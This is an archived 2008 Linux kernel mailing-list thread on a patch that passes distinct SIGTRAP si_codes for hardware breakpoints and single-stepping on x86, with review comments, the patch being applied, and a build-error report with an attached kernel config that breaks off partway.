	id S1752166AbYIVOye (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Sep 2008 10:54:34 -0400
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx3.mail.elte.hu with esmtp (Exim)
	id 1Khmne-0005W5-N1
	from <mingo@elte.hu>; Mon, 22 Sep 2008 16:54:12 +0200
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 9795D3E219E; Mon, 22 Sep 2008 16:54:03 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <200809221841.27993.srinivasa@in.ibm.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx3: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:792 gmane.linux.kernel:735623 gmane.linux.ports.ppc64.devel:47019
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/792>


* Srinivasa Ds <srinivasa@in.ibm.com> wrote:

> --- linux-2.6.27-rc7.orig/arch/ia64/include/asm/siginfo.h
> +++ linux-2.6.27-rc7/arch/ia64/include/asm/siginfo.h

please do not send patches that modify include/asm/ files, the 
include/asm-x86/ file should be modified instead.

(this problem will go away in v2.6.28 when we'll move include/asm-x86/ 
to arch/x86/include/)

> +	si_code = get_si_code((unsigned long*)&condition);

coding style problem: please run checkpatch.

>  	/* Ok, finally something we can handle */
> -	send_sigtrap(tsk, regs, error_code);
> +	send_sigtrap(tsk, regs, error_code, si_code);

ok, that looks much nicer.

> -	info.si_code = TRAP_BRKPT;
> +	info.si_code = get_si_code(&condition);

no need to pass in the condition by reference.

> +#define TRAP_BRANCH     (__SI_FAULT|3)  /* process taken branch trap */
> +#define TRAP_HWBKPT     (__SI_FAULT|4)  /* hardware breakpoint or watchpoint 
> */

stray linewrapped patch line - see Documentation/email-clients.txt.

> -void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs, int 
> error_code)
> +void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs, int 
> error_code,

linewrap.

> +++ linux-2.6.27-rc7/include/asm-x86/traps.h
> @@ -36,6 +36,16 @@ void do_invalid_op(struct pt_regs *, lon
>  void do_general_protection(struct pt_regs *, long);
>  void do_nmi(struct pt_regs *, long);
>  
> +int get_si_code(unsigned long *condition)
> +{
> +	if (*condition & DR_STEP)
> +		return TRAP_TRACE;

please declare inline functions explicitly as 'static inline'.

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Srinivasa Ds <srinivasa@in.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH] Demultiplexing SIGTRAP signal
Date: Tue, 23 Sep 2008 15:23:52 +0530
Organization: IBM
Lines: 208
Approved: news@gmane.org
Message-ID: <200809231523.52802.srinivasa@in.ibm.com>
References: <200809221602.32616.srinivasa@in.ibm.com> <200809221841.27993.srinivasa@in.ibm.com> <20080922145404.GC27956@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1222163698 14034 80.91.229.12 (23 Sep 2008 09:54:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2008 09:54:58 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-parisc@vger.kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Thomas Gleixner <tglx@linutronix.de>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 23 11:55:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ki4cV-0006uX-4w
	for glpp-linux-parisc@gmane.org; Tue, 23 Sep 2008 11:55:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750952AbYIWJym (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Sep 2008 05:54:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750959AbYIWJym
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Sep 2008 05:54:42 -0400
Original-Received: from e28smtp04.in.ibm.com ([59.145.155.4]:49638 "EHLO
	e28esmtp04.in.ibm.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750947AbYIWJyk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Sep 2008 05:54:40 -0400
Original-Received: from d28relay02.in.ibm.com (d28relay02.in.ibm.com [9.184.220.59])
	by e28esmtp04.in.ibm.com (8.13.1/8.13.1) with ESMTP id m8N9rHj1000817;
	Tue, 23 Sep 2008 15:23:17 +0530
Original-Received: from d28av03.in.ibm.com (d28av03.in.ibm.com [9.184.220.65])
	by d28relay02.in.ibm.com (8.13.8/8.13.8/NCO v9.1) with ESMTP id m8N9rHTe733428;
	Tue, 23 Sep 2008 15:23:17 +0530
Original-Received: from d28av03.in.ibm.com (loopback [127.0.0.1])
	by d28av03.in.ibm.com (8.13.1/8.13.3) with ESMTP id m8N9rFr6022015;
	Tue, 23 Sep 2008 19:53:17 +1000
Original-Received: from srinivasa-009124031087.in.ibm.com ([9.124.31.87])
	by d28av03.in.ibm.com (8.13.1/8.12.11) with ESMTP id m8N9rFKX021478;
	Tue, 23 Sep 2008 19:53:15 +1000
User-Agent: KMail/1.9.9
In-Reply-To: <20080922145404.GC27956@elte.hu>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:793 gmane.linux.kernel:735994 gmane.linux.ports.ppc64.devel:47045
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/793>

On Monday 22 September 2008 20:24:04 Ingo Molnar wrote:
> * Srinivasa Ds <srinivasa@in.ibm.com> wrote:
> > --- linux-2.6.27-rc7.orig/arch/ia64/include/asm/siginfo.h
> > +++ linux-2.6.27-rc7/arch/ia64/include/asm/siginfo.h
>
> please do not send patches that modify include/asm/ files, the
> include/asm-x86/ file should be modified instead.
>
> (this problem will go away in v2.6.28 when we'll move include/asm-x86/
> to arch/x86/include/)
>

Ingo, Sorry if I have confused you. Arch specific header files of ia64 and powerpc are 
already moved to arch/ia64/include and arch/powerpc/include dirs.
So I have developed patch against these files. So Resending patch again. 

Currently a SIGTRAP can denote any one of below reasons.
	- Breakpoint hit
	- H/W debug register hit
	- Single step
	- Signal sent through kill() or rasie()

Architectures like powerpc/parisc provides infrastructure to demultiplex
SIGTRAP signal by passing down the information for receiving SIGTRAP through
si_code of siginfot_t structure. Here is an attempt is generalise this 
infrastructure by extending it to x86 and x86_64 archs. 

Signed-off-by: Srinivasa DS <srinivasa@in.ibm.com>


---
 arch/ia64/include/asm/siginfo.h    |    5 -----
 arch/powerpc/include/asm/siginfo.h |    5 -----
 arch/x86/kernel/ptrace.c           |    7 ++++---
 arch/x86/kernel/traps_32.c         |    4 +++-
 arch/x86/kernel/traps_64.c         |    2 +-
 include/asm-generic/siginfo.h      |    2 ++
 include/asm-parisc/siginfo.h       |    5 -----
 include/asm-x86/ptrace.h           |    2 +-
 include/asm-x86/traps.h            |   10 ++++++++++
 9 files changed, 21 insertions(+), 21 deletions(-)

Index: linux-2.6.27-rc7/arch/ia64/include/asm/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/arch/ia64/include/asm/siginfo.h
+++ linux-2.6.27-rc7/arch/ia64/include/asm/siginfo.h
@@ -113,11 +113,6 @@ typedef struct siginfo {
 #undef NSIGSEGV
 #define NSIGSEGV	3
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
Index: linux-2.6.27-rc7/arch/powerpc/include/asm/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/arch/powerpc/include/asm/siginfo.h
+++ linux-2.6.27-rc7/arch/powerpc/include/asm/siginfo.h
@@ -15,11 +15,6 @@
 
 #include <asm-generic/siginfo.h>
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
Index: linux-2.6.27-rc7/arch/x86/kernel/traps_32.c
===================================================================
--- linux-2.6.27-rc7.orig/arch/x86/kernel/traps_32.c
+++ linux-2.6.27-rc7/arch/x86/kernel/traps_32.c
@@ -891,6 +891,7 @@ void __kprobes do_debug(struct pt_regs *
 {
 	struct task_struct *tsk = current;
 	unsigned int condition;
+	int si_code;
 
 	trace_hardirqs_fixup();
 
@@ -935,8 +936,9 @@ void __kprobes do_debug(struct pt_regs *
 			goto clear_TF_reenable;
 	}
 
+	si_code = get_si_code((unsigned long)condition);
 	/* Ok, finally something we can handle */
-	send_sigtrap(tsk, regs, error_code);
+	send_sigtrap(tsk, regs, error_code, si_code);
 
 	/*
 	 * Disable additional traps. They'll be re-enabled when
Index: linux-2.6.27-rc7/arch/x86/kernel/traps_64.c
===================================================================
--- linux-2.6.27-rc7.orig/arch/x86/kernel/traps_64.c
+++ linux-2.6.27-rc7/arch/x86/kernel/traps_64.c
@@ -936,7 +936,7 @@ asmlinkage void __kprobes do_debug(struc
 	tsk->thread.error_code = error_code;
 	info.si_signo = SIGTRAP;
 	info.si_errno = 0;
-	info.si_code = TRAP_BRKPT;
+	info.si_code = get_si_code(condition);
 	info.si_addr = user_mode(regs) ? (void __user *)regs->ip : NULL;
 	force_sig_info(SIGTRAP, &info, tsk);
 
Index: linux-2.6.27-rc7/include/asm-generic/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-generic/siginfo.h
+++ linux-2.6.27-rc7/include/asm-generic/siginfo.h
@@ -199,6 +199,8 @@ typedef struct siginfo {
  */
 #define TRAP_BRKPT	(__SI_FAULT|1)	/* process breakpoint */
 #define TRAP_TRACE	(__SI_FAULT|2)	/* process trace trap */
+#define TRAP_BRANCH     (__SI_FAULT|3)  /* process taken branch trap */
+#define TRAP_HWBKPT     (__SI_FAULT|4)  /* hardware breakpoint/watchpoint */
 #define NSIGTRAP	2
 
 /*
Index: linux-2.6.27-rc7/include/asm-parisc/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-parisc/siginfo.h
+++ linux-2.6.27-rc7/include/asm-parisc/siginfo.h
@@ -3,11 +3,6 @@
 
 #include <asm-generic/siginfo.h>
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
Index: linux-2.6.27-rc7/arch/x86/kernel/ptrace.c
===================================================================
--- linux-2.6.27-rc7.orig/arch/x86/kernel/ptrace.c
+++ linux-2.6.27-rc7/arch/x86/kernel/ptrace.c
@@ -1357,7 +1357,8 @@ const struct user_regset_view *task_user
 #endif
 }
 
-void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs, int error_code)
+void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs,
+					 int error_code, int si_code)
 {
 	struct siginfo info;
 
@@ -1366,7 +1367,7 @@ void send_sigtrap(struct task_struct *ts
 
 	memset(&info, 0, sizeof(info));
 	info.si_signo = SIGTRAP;
-	info.si_code = TRAP_BRKPT;
+	info.si_code = si_code;
 
 	/* User-mode ip? */
 	info.si_addr = user_mode_vm(regs) ? (void __user *) regs->ip : NULL;
@@ -1476,5 +1477,5 @@ asmregparm void syscall_trace_leave(stru
 	 */
 	if (test_thread_flag(TIF_SINGLESTEP) &&
 	    (current->ptrace & PT_PTRACED))
-		send_sigtrap(current, regs, 0);
+		send_sigtrap(current, regs, 0, TRAP_BRKPT);
 }
Index: linux-2.6.27-rc7/include/asm-x86/traps.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-x86/traps.h
+++ linux-2.6.27-rc7/include/asm-x86/traps.h
@@ -36,6 +36,16 @@ void do_invalid_op(struct pt_regs *, lon
 void do_general_protection(struct pt_regs *, long);
 void do_nmi(struct pt_regs *, long);
 
+static inline int get_si_code(unsigned long condition)
+{
+	if (condition & DR_STEP)
+		return TRAP_TRACE;
+	else if (condition & (DR_TRAP0|DR_TRAP1|DR_TRAP2|DR_TRAP3))
+		return TRAP_HWBKPT;
+	else
+		return TRAP_BRKPT;
+}
+
 extern int panic_on_unrecovered_nmi;
 extern int kstack_depth_to_print;
 
Index: linux-2.6.27-rc7/include/asm-x86/ptrace.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-x86/ptrace.h
+++ linux-2.6.27-rc7/include/asm-x86/ptrace.h
@@ -143,7 +143,7 @@ convert_ip_to_linear(struct task_struct 
 
 #ifdef CONFIG_X86_32
 extern void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs,
-			 int error_code);
+			 int error_code, int si_code);
 #else
 void signal_fault(struct pt_regs *regs, void __user *frame, char *where);
 #endif
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH] Demultiplexing SIGTRAP signal
Date: Tue, 23 Sep 2008 13:28:12 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20080923112812.GL29021@elte.hu>
References: <200809221602.32616.srinivasa@in.ibm.com> <200809221841.27993.srinivasa@in.ibm.com> <20080922145404.GC27956@elte.hu> <200809231523.52802.srinivasa@in.ibm.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1222169357 31444 80.91.229.12 (23 Sep 2008 11:29:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2008 11:29:17 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-parisc@vger.kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Thomas Gleixner <tglx@linutronix.de>
To: Srinivasa Ds <srinivasa@in.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 23 13:30:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ki65n-0007JD-Qb
	for glpp-linux-parisc@gmane.org; Tue, 23 Sep 2008 13:30:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750806AbYIWL3D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Sep 2008 07:29:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750838AbYIWL3D
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Sep 2008 07:29:03 -0400
Original-Received: from mx2.mail.elte.hu ([157.181.151.9]:47063 "EHLO mx2.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750806AbYIWL3A (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Sep 2008 07:29:00 -0400
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim)
	id 1Ki642-0008Bg-B7
	from <mingo@elte.hu>; Tue, 23 Sep 2008 13:28:21 +0200
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id E754F3E219E; Tue, 23 Sep 2008 13:28:08 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <200809231523.52802.srinivasa@in.ibm.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx2: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:794 gmane.linux.kernel:736014 gmane.linux.ports.ppc64.devel:47048
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/794>


* Srinivasa Ds <srinivasa@in.ibm.com> wrote:

> On Monday 22 September 2008 20:24:04 Ingo Molnar wrote:
> > * Srinivasa Ds <srinivasa@in.ibm.com> wrote:
> > > --- linux-2.6.27-rc7.orig/arch/ia64/include/asm/siginfo.h
> > > +++ linux-2.6.27-rc7/arch/ia64/include/asm/siginfo.h
> >
> > please do not send patches that modify include/asm/ files, the
> > include/asm-x86/ file should be modified instead.
> >
> > (this problem will go away in v2.6.28 when we'll move include/asm-x86/
> > to arch/x86/include/)
> >
> 
> Ingo, Sorry if I have confused you. [...]

hah, indeed - i mis-read them as include/asm/.

> Currently a SIGTRAP can denote any one of below reasons.
> 	- Breakpoint hit
> 	- H/W debug register hit
> 	- Single step
> 	- Signal sent through kill() or rasie()
> 
> Architectures like powerpc/parisc provides infrastructure to 
> demultiplex SIGTRAP signal by passing down the information for 
> receiving SIGTRAP through si_code of siginfot_t structure. Here is an 
> attempt is generalise this infrastructure by extending it to x86 and 
> x86_64 archs.

applied to [the new topic] tip/core/signal, thanks Srinivasa! There are 
some other pending x86 signal changes already, so i based 
tip/core/signal on tip/x86/signal.

Roland, any opinion on this change?

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH] Demultiplexing SIGTRAP signal
Date: Tue, 23 Sep 2008 13:30:01 +0200
Lines: 2108
Approved: news@gmane.org
Message-ID: <20080923113001.GA12531@elte.hu>
References: <200809221602.32616.srinivasa@in.ibm.com> <200809221841.27993.srinivasa@in.ibm.com> <20080922145404.GC27956@elte.hu> <200809231523.52802.srinivasa@in.ibm.com> <20080923112812.GL29021@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="17pEHd4RhPHOinZp"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1222169485 31992 80.91.229.12 (23 Sep 2008 11:31:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2008 11:31:25 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-parisc@vger.kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Thomas Gleixner <tglx@linutronix.de>
To: Srinivasa Ds <srinivasa@in.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 23 13:32:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ki67v-0007wr-Oz
	for glpp-linux-parisc@gmane.org; Tue, 23 Sep 2008 13:32:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751007AbYIWLbB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Sep 2008 07:31:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751170AbYIWLbA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Sep 2008 07:31:00 -0400
Original-Received: from mx3.mail.elte.hu ([157.181.1.138]:37699 "EHLO mx3.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751007AbYIWLa4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Sep 2008 07:30:56 -0400
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx3.mail.elte.hu with esmtp (Exim)
	id 1Ki65n-0003rw-5M
	from <mingo@elte.hu>; Tue, 23 Sep 2008 13:30:14 +0200
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id BB7033E219E; Tue, 23 Sep 2008 13:29:58 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20080923112812.GL29021@elte.hu>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx3: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -0.7
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-0.7 required=5.9 tests=BAYES_00,UPPERCASE_50_75 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
	0.8 UPPERCASE_50_75        message body is 50-75% uppercase
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:795 gmane.linux.kernel:736016 gmane.linux.ports.ppc64.devel:47049
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/795>


--17pEHd4RhPHOinZp
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit


* Ingo Molnar <mingo@elte.hu> wrote:

> > Currently a SIGTRAP can denote any one of below reasons.
> > 	- Breakpoint hit
> > 	- H/W debug register hit
> > 	- Single step
> > 	- Signal sent through kill() or rasie()
> > 
> > Architectures like powerpc/parisc provides infrastructure to 
> > demultiplex SIGTRAP signal by passing down the information for 
> > receiving SIGTRAP through si_code of siginfot_t structure. Here is an 
> > attempt is generalise this infrastructure by extending it to x86 and 
> > x86_64 archs.
> 
> applied to [the new topic] tip/core/signal, thanks Srinivasa! There 
> are some other pending x86 signal changes already, so i based 
> tip/core/signal on tip/x86/signal.

-tip testing found the following build error with the attached config:

In file included from arch/x86/mm/fault.c:41:
include/asm/traps.h: In function ‘get_si_code’:
include/asm/traps.h:41: error: ‘DR_STEP’ undeclared (first use in this function)
include/asm/traps.h:41: error: (Each undeclared identifier is reported only once
include/asm/traps.h:41: error: for each function it appears in.)
include/asm/traps.h:43: error: ‘DR_TRAP0’ undeclared (first use in this function)
include/asm/traps.h:43: error: ‘DR_TRAP1’ undeclared (first use in this function)
include/asm/traps.h:43: error: ‘DR_TRAP2’ undeclared (first use in this function)
include/asm/traps.h:43: error: ‘DR_TRAP3’ undeclared (first use in this function)

	Ingo

--17pEHd4RhPHOinZp
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=config

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.27-rc7
# Tue Sep 23 13:27:39 2008
#
CONFIG_64BIT=y
# CONFIG_X86_32 is not set
CONFIG_X86_64=y
CONFIG_X86=y
CONFIG_ARCH_DEFCONFIG="arch/x86/configs/x86_64_defconfig"
# CONFIG_GENERIC_LOCKBREAK is not set
CONFIG_GENERIC_TIME=y
CONFIG_GENERIC_CMOS_UPDATE=y
CONFIG_CLOCKSOURCE_WATCHDOG=y
CONFIG_GENERIC_CLOCKEVENTS=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y
CONFIG_LOCKDEP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_FAST_CMPXCHG_LOCAL=y
CONFIG_MMU=y
CONFIG_ZONE_DMA=y
CONFIG_GENERIC_ISA_DMA=y
CONFIG_GENERIC_IOMAP=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
# CONFIG_GENERIC_GPIO is not set
CONFIG_ARCH_MAY_HAVE_PC_FDC=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_ARCH_HAS_CPU_IDLE_WAIT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME_VSYSCALL=y
CONFIG_ARCH_HAS_CPU_RELAX=y
CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y
CONFIG_HAVE_SETUP_PER_CPU_AREA=y
CONFIG_HAVE_CPUMASK_OF_CPU_MAP=y
CONFIG_ARCH_HIBERNATION_POSSIBLE=y
CONFIG_ARCH_SUSPEND_POSSIBLE=y
CONFIG_ZONE_DMA32=y
CONFIG_ARCH_POPULATES_NODE_MAP=y
CONFIG_AUDIT_ARCH=y
CONFIG_ARCH_SUPPORTS_AOUT=y
CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_GENERIC_PENDING_IRQ=y
CONFIG_X86_SMP=y
CONFIG_X86_64_SMP=y
CONFIG_X86_HT=y
CONFIG_X86_BIOS_REBOOT=y
CONFIG_X86_TRAMPOLINE=y
# CONFIG_KTIME_SCALAR is not set
CONFIG_BOOTPARAM_SUPPORT=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"

#
# General setup
#
# CONFIG_EXPERIMENTAL is not set
CONFIG_BROKEN_BOOT_ALLOWED3=y
# CONFIG_BROKEN_BOOT_ALLOWED2 is not set
CONFIG_BROKEN_BOOT_ALLOWED=y
CONFIG_BROKEN_BOOT=y
CONFIG_BROKEN_BOOT_EUROPE=y
CONFIG_BROKEN_BOOT_TITAN=y
CONFIG_LOCK_KERNEL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_BSD_PROCESS_ACCT=y
# CONFIG_BSD_PROCESS_ACCT_V3 is not set
# CONFIG_TASKSTATS is not set
CONFIG_AUDIT=y
# CONFIG_AUDITSYSCALL is not set
# CONFIG_IKCONFIG is not set
CONFIG_LOG_BUF_SHIFT=20
CONFIG_CGROUPS=y
CONFIG_CGROUP_DEBUG=y
# CONFIG_CGROUP_NS is not set
CONFIG_CPUSETS=y
CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y
CONFIG_CGROUP_CPUACCT=y
CONFIG_RESOURCE_COUNTERS=y
CONFIG_MM_OWNER=y
CONFIG_CGROUP_MEM_RES_CTLR=y
CONFIG_SYSFS_DEPRECATED=y
CONFIG_SYSFS_DEPRECATED_V2=y
# CONFIG_PROC_PID_CPUSET is not set
CONFIG_RELAY=y
CONFIG_NAMESPACES=y
CONFIG_UTS_NS=y
CONFIG_IPC_NS=y
